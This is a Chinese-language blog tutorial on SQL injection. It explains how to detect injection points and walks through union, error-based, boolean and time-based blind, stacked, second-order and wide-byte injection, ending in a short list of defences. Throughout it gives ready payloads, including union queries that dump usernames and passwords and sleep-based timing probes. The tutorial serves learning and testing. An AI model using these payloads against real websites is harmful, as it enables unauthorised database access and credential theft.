当前位置: 首页 > news >正文

【web安全】SQL注入篇

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦

【web安全】SQL注入篇

  • SQL注入漏洞基础
  • SQL注入分类
  • 判断注入点
    • 1. 区分请求类型(get、post)
    • 2. 判断是否存在注点
    • 3. 区分注点(数值型、字符型)
  • sql基本语句
  • 注入方式
    • 联合注入
    • 报错注入
      • updatexml()
      • extractvalue()
      • floor()
    • 盲注
      • 布尔盲注
      • 时间盲注
      • dnslog盲注
    • 堆叠注入
    • 二次注入
    • 宽字节注入
    • 伪静态注入
  • 防御方案


SQL注入漏洞基础

漏洞描述

攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击
者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。

sql 注入原理

服务器没有过滤用户输入的恶意数据,直接把用户输入的数据当作sql语句执行,从而影响数据库安全和平台安全。

利用条件

1.程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。

2.未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL语句中。

mysql查询语句

select ... from ... where ...=...
select group_concat(table_name)		

group_concat()函数用于将多行结果合并成一个字符串。

SQL注入分类

基本类型基本手法方式注入点位置
数字型
字符型
报错注入
联合查询
布尔盲注
延时注入
堆叠查询
GET注入
POST注入
Cookie注入
HTTP头部注入
URL注入
搜索框注入
留言板注入
登录框注入

判断注入点

1. 区分请求类型(get、post)

get 在url处进行注入

post 在有输入框进行交互的地方

2. 判断是否存在注点

添加动态参数 id = 1'

如果报错则存在注入点

不报错则证明不存在注入点或没有回显

3. 区分注点(数值型、字符型)

  1. 数值型

    id=1 and 1=1
    id=1 and i=2
    

    若不报错则证明其不是数值型

  2. 字符型

    id=1' and '1'='1
    id=1' and '1'='2
    

    若不报错则证明其不是字符型

    第一个'作用是闭合

sql基本语句

  1. 判断列数

    ?id=1 order by 1 
    ?id=1 order by 2
    ...
    

    一直到报错没有显示为止

  2. 判断回显位(假设列数为3)

    ?id=1 and union select 1,2 -- -
    ?id=1 and union select 1,2,3 -- -
    

    1,2,3为占位符

  3. 判断之前order by得到的列可不可以回显数据:

    假如不能回显那就去使用盲注

    假如我们发现显示了一个3,说明第三个会显示在页面上,我们就可以开始注入了。

注入方式

联合注入

必须前一条无法回显(错误)才能显示第二条

union联合查询

­显示出登录用户和数据库名

union select 1,user(),database() -- -

查看数据库有哪些表

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -

查看对应表有哪些列

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

解释:从information_schema数据库的columns表中查询security数据库下users表的所有列名。

查看账号密码信息

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -

0x7e中,0x代表16进制,7e在ASCII码表中对应~

报错注入

无回显无法用sql注入,使用mysql报错函数(共12种)

若常规报错函数被ban掉,在官方手册找平替报错函数(越小众越好)如:polygon()

updatexml()

用于在xml中获取特定节点并更新其值

查询数据库名,例:

? id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

extractvalue()

查询数据库名,例:

? id=1 and extractvalue (1,concat(0x7e,(select database())))--+

floor()

用于mysql在xml中取整或确定下限(不常用)

'FLOOR(4.7)'	返回'4'
'FLOOR(-4.7)'	返回'-5'

floor报错原理

利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键key冗余,导致报错

示例代码:

? id=1 and (select count(*),(floor(rand(0)*2)) as x from table_nam group by x)

盲注

页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断,可以通过写python脚本实现自动化

布尔盲注

  1. 判断数据库类型(MYSQL、access、SQLServer)

    • 判断是否是MySQL数据库

      and exists(select * from information_schema.tables) --+
      
    • 判断是否是access数据库

      and exists(select * from msysobjects) --+
      
    • 判断是否是SQLServer数据库

      and exists(select * from sysobjects) --+
      
  2. 判断数据库名长度length()

    ' and length(database())=8--+
    

    8为判断长度

    通过页面是否报错或正常显示来判断它的长

  3. 猜测数据库名

    1. 一位一位猜 left()

      ' and left(database(),3)>'sec' --+
      

      '3’为位数,'sec’为猜的字符

    2. 用ascii码,二分法 substr()

      ascii(substr((select database()),1,1))=115--+
      

      SUBSTR函数:用于从一个字符串中提取子字符串。可以指定起始位置和长度

=也可以替换成>likelike为模糊查询

时间盲注

  1. sleep()函数

    利用sleep( )语句的延时性,以时间线作为判断条件

    ' and sleep(5) --+
    ' and if(1=1,sleep(5),1) --+
    ' and if(ascii(substr(daatbase(),1,1))<100,sleep(5),null) --+
    

    if为判断语句,判断’1=1’,如果成立执行’sleep(5),不成立执行’1’

  2. WAITFOR DELAY’0:0:5’

dnslog盲注

堆叠注入

原理:

将多条sql注入语句堆叠在一起进行查询,且可以执行多条SQL语句,语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造payload

优势:

联合查询union也可拼接语句(有局限性),但是堆叠注入能注入任意语句

union执行一条语句,堆叠执行多条(需要分号)

局限:

利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,PHP为了防止sql注入机制,往往使用调用数据库的函数mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行

例:

1';creat table A2rcher like users;--+

可实现rce远程 命令/代码 执行

sqlmap自动注入

二次注入

  1. 将admin’#插入数据库 设密为:123456 第一次注入

    更改admin’#的密码 654321 第二次注入

  2. 登陆admin发现密码被更改为654321

原理:1)用户向数据库插入的语句被转义和过滤的不够彻底(即使后端代码对语句进行了转义,如mysql_ escape_
(2)数据库直接取出数据,不对数据进行转义

宽字节注入

宽字节注入准确来说不是注入手法,而是一种比较特殊的情况,目的是绕过单双引号转义。

条件:宽字节编码,绕过限制

常见的宽字节概念包括以下几种情况:

1.宽字节字符集

在字符编码中,“宽字节”常指的是每个字符使用多个字节(通常是2字节或4字节)进行编码的字符集。这与“窄字节“字符集(如ASCII或UTF-8的单字节模式)相对。

窄字节:字符大小为一个字节

**宽字节:**字符大小为两个字节

3.宽字节编码比较

· UTF-8:“汉”的UTF-8编码是0xE6 0xB1 0x89(三个字节)。

· UTF-16:“汉”的UTF-16编码是0x6C49(两个字节)。

· UTF-32:"汉”的UTF-32编码是0x00006C49(四个字节)。

伪静态注入

静态页面:不会动,与用户没有交互的页面,

伪静态页面:中间件加载了伪静态插件代码其实不是真正的静态页面,一般用于政府和学校,显示html页面

防御方案

代码方面防护

各种函数过滤

防御脚本,用include函数含在web配置文件中

web防护

PDO预处理

waf防护

云端防护

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 网安新声 | 智能家居时代,用户隐私谁来守护
  • ACW快凝科技:打造无漏坚固新纪元,环保高效封堵未来
  • CRM系统为贷款中介行业插上科技的翅膀
  • 数据赋能(195)——开发:数据应用——概述、关注焦点
  • 宏定义## 的使用
  • Modelsim UVM windows环境搭建
  • Vue3实时更新时间(年-月-日 时:分:秒)
  • Fréchet Inception Distance(FID)原理
  • Mysql中的锁机制详解
  • 屏幕像素初步认识
  • 网站如何针对不同的DDOS进行防御?
  • 步进电机基本知识
  • 前端框架的演变与选择
  • P7492 [传智杯 #3 决赛] 序列
  • 未能启动xxx.vmx文件
  • 2017 前端面试准备 - 收藏集 - 掘金
  • C++回声服务器_9-epoll边缘触发模式版本服务器
  • Django 博客开发教程 8 - 博客文章详情页
  • Java 多线程编程之:notify 和 wait 用法
  • JavaScript/HTML5图表开发工具JavaScript Charts v3.19.6发布【附下载】
  • Js基础——数据类型之Null和Undefined
  • LeetCode541. Reverse String II -- 按步长反转字符串
  • redis学习笔记(三):列表、集合、有序集合
  • Solarized Scheme
  • SpiderData 2019年2月25日 DApp数据排行榜
  • TypeScript实现数据结构(一)栈,队列,链表
  • 计算机常识 - 收藏集 - 掘金
  • 深入浅出Node.js
  • 使用parted解决大于2T的磁盘分区
  • 文本多行溢出显示...之最后一行不到行尾的解决
  • 译自由幺半群
  • 云大使推广中的常见热门问题
  • [地铁译]使用SSD缓存应用数据——Moneta项目: 低成本优化的下一代EVCache ...
  • ​油烟净化器电源安全,保障健康餐饮生活
  • # Pytorch 中可以直接调用的Loss Functions总结:
  • #if等命令的学习
  • #NOIP 2014# day.2 T2 寻找道路
  • #QT项目实战(天气预报)
  • #大学#套接字
  • (51单片机)第五章-A/D和D/A工作原理-A/D
  • (react踩过的坑)antd 如何同时获取一个select 的value和 label值
  • (ZT)一个美国文科博士的YardLife
  • (八十八)VFL语言初步 - 实现布局
  • (附源码)php投票系统 毕业设计 121500
  • (附源码)springboot青少年公共卫生教育平台 毕业设计 643214
  • (计算机网络)物理层
  • (每日一问)操作系统:常见的 Linux 指令详解
  • (十六)串口UART
  • (四十一)大数据实战——spark的yarn模式生产环境部署
  • (一)kafka实战——kafka源码编译启动
  • (原創) X61用戶,小心你的上蓋!! (NB) (ThinkPad) (X61)
  • (转)es进行聚合操作时提示Fielddata is disabled on text fields by default
  • (转)fock函数详解
  • (转载)Linux 多线程条件变量同步
  • (轉貼) 蒼井そら挑戰筋肉擂台 (Misc)